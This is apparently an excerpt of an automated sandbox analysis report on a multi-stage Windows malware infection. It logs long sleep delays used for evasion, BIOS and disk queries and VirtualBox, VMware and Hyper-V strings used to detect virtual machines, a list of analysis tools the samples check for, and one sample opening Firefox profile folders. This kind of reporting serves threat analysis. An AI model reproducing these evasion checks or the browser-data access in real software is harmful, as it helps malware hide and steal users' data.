Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -594633s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7764 Thread sleep time: -594484s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 2300 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe TID: 7756 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7868 Thread sleep count: 4881 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7868 Thread sleep count: 1607 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7904 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7884 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8068 Thread sleep count: 6199 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8060 Thread sleep count: 1736 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8076 Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1360 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8152 Thread sleep count: 1230 > 30
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8152 Thread sleep time: -2461230s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8160 Thread sleep count: 1256 > 30
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8160 Thread sleep time: -2513256s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8164 Thread sleep count: 1233 > 30
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8164 Thread sleep time: -2467233s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8120 Thread sleep count: 1242 > 30
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8120 Thread sleep time: -2485242s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8156 Thread sleep count: 1230 > 30
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8156 Thread sleep time: -2461230s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8148 Thread sleep count: 1233 > 30
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8148 Thread sleep time: -2467233s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8144 Thread sleep count: 1200 > 30
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8144 Thread sleep time: -2401200s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8140 Thread sleep count: 1222 > 30
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe TID: 8140 Thread sleep time: -2445222s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe TID: 6428 Thread sleep count: 1328 > 30
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe TID: 6428 Thread sleep time: -2657328s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe TID: 6480 Thread sleep count: 1347 > 30
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe TID: 6480 Thread sleep time: -2695347s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe TID: 1868 Thread sleep time: -40000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe TID: 6860 Thread sleep count: 836 > 30
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe TID: 6860 Thread sleep time: -1672836s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe TID: 6656 Thread sleep count: 841 > 30
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe TID: 6656 Thread sleep time: -1682841s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe TID: 6632 Thread sleep count: 1355 > 30
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe TID: 6632 Thread sleep time: -2711355s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe TID: 6940 Thread sleep count: 1330 > 30
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe TID: 6940 Thread sleep time: -2661330s >= -30000s
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe TID: 3960 Thread sleep time: -1844674407370954s >= -30000s
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe TID: 2504 Thread sleep time: -922337203685477s >= -30000s
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe TID: 7964 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1784 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 5688 Thread sleep count: 1248 > 30
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 5688 Thread sleep time: -2497248s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 4480 Thread sleep count: 1218 > 30
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 4480 Thread sleep time: -2437218s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 2476 Thread sleep time: -44000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 8 Thread sleep count: 1220 > 30
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 8 Thread sleep time: -2441220s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 4348 Thread sleep count: 1232 > 30
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 4348 Thread sleep time: -2465232s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 6364 Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 2492 Thread sleep count: 1237 > 30
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 2492 Thread sleep time: -2475237s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 4500 Thread sleep count: 1217 > 30
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 4500 Thread sleep time: -2435217s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 6716 Thread sleep count: 113 > 30
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 6716 Thread sleep time: -226113s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 6788 Thread sleep count: 132 > 30
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 6788 Thread sleep time: -264132s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 6740 Thread sleep count: 126 > 30
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 6740 Thread sleep time: -252126s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 3928 Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 6828 Thread sleep count: 109 > 30
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 6828 Thread sleep time: -218109s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 6764 Thread sleep count: 115 > 30
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 6764 Thread sleep time: -230115s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 4992 Thread sleep count: 83 > 30
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 4992 Thread sleep time: -166083s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 7316 Thread sleep count: 114 > 30
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 7316 Thread sleep time: -228114s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 1260 Thread sleep count: 145 > 30
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 1260 Thread sleep time: -290145s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 2872 Thread sleep count: 134 > 30
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 2872 Thread sleep time: -268134s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 1780 Thread sleep time: -44000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 2948 Thread sleep count: 157 > 30
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 2948 Thread sleep time: -314157s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 2892 Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 4588 Thread sleep count: 111 > 30
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 4588 Thread sleep time: -222111s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 1720 Thread sleep count: 160 > 30
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 1720 Thread sleep time: -320160s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 2056 Thread sleep count: 155 > 30
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe TID: 2056 Thread sleep time: -310155s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe TID: 2264 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 5596 Thread sleep time: -58029s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 7980 Thread sleep time: -56028s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 2284 Thread sleep time: -38019s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 7720 Thread sleep count: 238 > 30
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 7720 Thread sleep time: -1428000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe TID: 4824 Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe TID: 7304 Thread sleep count: 547 > 30
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe TID: 7304 Thread sleep count: 58 > 30
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe TID: 7516 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe TID: 4564 Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe TID: 5836 Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe TID: 2668 Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe TID: 3272 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe TID: 4144 Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe TID: 7908 Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe TID: 4040 Thread sleep time: -30015s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Sleep loop found (likely to delay execution)
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Thread sleep count: Count: 1213 delay: -10
Source: C:\Users\user\Desktop\file.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002E36A9 FindFirstFileExW, 9_2_002E36A9
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002E375A FindFirstFileExW,FindNextFileW,FindClose,FindClose, 9_2_002E375A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 99842
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 99718
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 99563
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 99437
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 99328
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 99218
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 99109
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 99000
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 98889
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 98765
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 98656
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 98547
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 98437
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 98306
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 98171
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 98038
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 97471
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 97358
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 97201
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 97085
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 96984
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 96859
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 96749
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 96640
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 96517
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 96390
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 96268
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 96156
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 96047
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 95922
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 95812
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 95703
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 95593
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 95462
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 95350
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 95203
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 94687
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 94562
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 94449
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 94460
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 94294
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 94171
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 94030
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 93890
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 93765
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 93640
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 93528
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 93359
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 93231
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 596067
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 595936
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 595609
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 595097
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 594922
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 594750
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 594633
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 594484
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Thread delayed: delay time: 922337203685477
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Thread delayed: delay time: 922337203685477
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\trash10755\
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\
Source: file.exe, 00000000.00000002.1720984505.0000000000DB6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000000.1671121237.0000000000DB6000.00000080.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000000.1690475731.0000000001096000.00000080.00000001.01000000.00000008.sdmp, skotes.exe, 00000001.00000002.1741949219.0000000001096000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000002.00000000.1698893785.0000000001096000.00000080.00000001.01000000.00000008.sdmp, skotes.exe, 00000002.00000002.1747899419.0000000001096000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000000.2315087895.0000000001096000.00000080.00000001.01000000.00000008.sdmp, 6f3b41816f.exe, 00000021.00000002.3346263388.0000000000E39000.00000040.00000001.01000000.0000001F.sdmp, 6f3b41816f.exe, 00000021.00000000.3170259918.0000000000E39000.00000080.00000001.01000000.0000001F.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWeF
Source: 85746525a0.exe, 0000000B.00000002.3044100078.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.3021062186.0000000000B4C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW83
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: 81d22383f9.exe, 0000000C.00000002.2820567838.0000000000736000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: ed7d415177.exe, 0000001E.00000003.3529309223.000000000177D000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3653308525.000000000177D000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3595404950.000000000177D000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 0000001E.00000003.3445606549.000000000177D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW.
Source: 85746525a0.exe, 0000000B.00000003.2841686209.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.3036597865.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2997775021.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000002.3065930710.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2814280047.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.3021062186.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2797362552.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2926346115.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW_r
Source: 932bb971c3.exe, 00000013.00000003.2743164268.0000000001A32000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll3
Source: 85746525a0.exe, 85746525a0.exe, 0000000B.00000003.2841686209.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.3036597865.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2997775021.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000002.3065930710.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2814280047.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.3021062186.0000000000B7F000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2797362552.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, 85746525a0.exe, 0000000B.00000003.2926346115.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, ed7d415177.exe, 00000018.00000003.3428608134.00000000008FC000.00000004.00000020.00020000.00000000.sdmp, d0e32932f8.exe, 0000001A.00000002.3668631588.000000000078F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: d0e32932f8.exe, 0000001A.00000002.3668631588.000000000071E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: firefox.exe, 00000030.00000002.3462121451.0000022389EB7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 932bb971c3.exe, 00000013.00000003.2710774337.0000000007510000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: bc893816fa.exe, 0000001F.00000003.3076106577.0000000000C0C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllMSAFD RfComm [Bluetooth]
Source: 932bb971c3.exe, 00000013.00000003.2756695909.0000000006AC1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: zpjzY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlO#
